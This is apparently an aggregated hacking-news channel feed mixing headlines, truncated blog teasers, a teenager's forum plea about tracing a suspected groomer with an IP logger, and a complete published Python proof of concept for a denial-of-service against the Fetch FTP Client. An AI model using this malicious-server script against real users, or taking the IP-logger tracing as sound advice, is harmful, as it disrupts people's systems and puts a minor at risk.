hacking: security in practice
Frida HandBook

submitted by /u/ddddavidee
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Finding enough info to report a child groomer

Hello. I’m not sure where to post this, but I’ve been in this community for quite a while and you might just be able to help me out.

So long story short, I’ve been contacted by someone claiming they were from Iran and 26. I told her my age - 16 - and she continued to chat as if it were no big deal.

The problem arose when I checked the number linked to her account and it was not from Iran, but rather Australia (where I live). I did the whole grabify thingo and turns out she lives in my city very close to me.

Now, we have learnt a lot of child groomers, pedophiles etc and I can guarantee that this is one and not just one of my friends trolling me (they would’ve said by now since I confronted her).

I was just wondering if there is anything I could do, “hacking-wise” (hate that term), to have enough info to report the person. Because if it’s not me, then she will definitely hunt down someone else. And this is something I cannot stand.

My PMs are open, if anyone would like to suggest something for me to do or discuss about anything that’s happened, steps I should take etc.

I have done the best I can with my abilities and now can only rely on you experts to help me in this situation.

Thank you in advance.

submitted by /u/Rupesh2128
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
More Security Flaws Found in Apple's OS Technologies

Apple's updates this week included fixes for two zero-day flaws, several code execution bugs, and vulnerabilities that allowed attackers to bypass its core security protections.

Paytm-Broken Link Hijacking
https://infosecwriteups.com/paytm-broken-link-hijacking-11624e4e9eef?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Everyone….Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/paytm-broken-link-hijacking-11624e4e9eef?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fetch Softworks Fetch FTP Client 5.8 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Fetch Softworks Fetch FTP Client version 5.8 suffers from a remote CPU consumption denial of service vulnerability.

MD5 | b120c41a241827707c8e3340029f43d7

Download
#!/usr/bin/env python
#
#
# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
#
#
# Vendor: Fetch Softworks
# Product web page: https://www.fetchsoftworks.com
# Affected version: 5.8.2 (5K1354)
#
# Summary: Fetch is a reliable, full-featured file transfer client for the
# Apple Macintosh whose user interface emphasizes simplicity and ease of use.
# Fetch supports FTP and SFTP, the most popular file transfer protocols on
# the Internet for compatibility with thousands of Internet service providers,
# web hosting companies, publishers, pre-press companies, and more.
#
# Desc: The application is prone to a DoS after receiving a long server response
# (more than 2K bytes) leading to 100% CPU consumption.
#
# --------------------------------------------------------------------------------
# ~/Desktop> ps ucp 3498
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# lqwrm 3498 100.0 0.5 60081236 54488 ?? R 5:44PM 4:28.97 Fetch-5K1354-266470421
# ~/Desktop>
# --------------------------------------------------------------------------------
#
# Tested on: macOS Monterey 12.2
# macOS Big Sur 11.6.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5696
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
#
#
# 27.01.2022
#

import socket

host = '0.0.0.0'
port = 21

s = socket.socket()
s.bind((host, port))
s.listen(2)

print('Ascolto su', host, 'porta', port, '...')

consumptor = '220\x20'
consumptor += 'ftp.zeroscience.mk'
consumptor += '\x00' * 0x101E
consumptor += '\x0D\x0A'

while True:
try:
c, a = s.accept()
print('Connessione da', a)
print('CPU 100%, Memory++')
c.send(bytes(consumptor, 'UTF-8'))
c.send(b'Thricer OK, p\'taah\x0A\x0D')
print(c.recv(17))
except:
break

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Critical CSRF to RCE in FileBrowser

https://cdn-images-1.medium.com/max/1200/1*JuQWZtUHamKuKhjU1VZeQg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Letting China in Through the Front Door?

https://cdn-images-1.medium.com/max/1400/1*r3zRiOi48_0-psv-NTVHog.png
By Andy Keiser, NSI Fellow and Michael Lumpkin

Continue reading on The SCIF »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
MetaMask ve NFT’ler bir araya geldiğinde IP adresinizin açığa çıkabileceğini biliyor muydunuz?

https://cdn-images-1.medium.com/max/1280/1*atrLJTbPDz6TA_zAMKplIA.jpeg
21 milyon kullanıcısı*¹ ile kripto para cüzdanlarının en güçlüsü, en çok tercih edileni MetaMask! Hangi DeFi projesine giderseniz gidin…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cambios en la nueva ISO/IEC 27002:2022

https://cdn-images-1.medium.com/max/1593/0*x_IYCmliQBBDUHs8
PUBLICADO EN 27 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nineveh | HackTheBox writeup

https://cdn-images-1.medium.com/max/698/1*IxtrEjWnHS0AU7Y4Smm_PA.png
an ancient Assyrian city of Upper Mesopotamia, located on the outskirts of Mosul in modern-day northern Iraq

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Journey to the first 2 CVEs

https://cdn-images-1.medium.com/max/728/1*DkGtePD8FwvWNS-H8RsaUQ.png
Hello Hackers,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video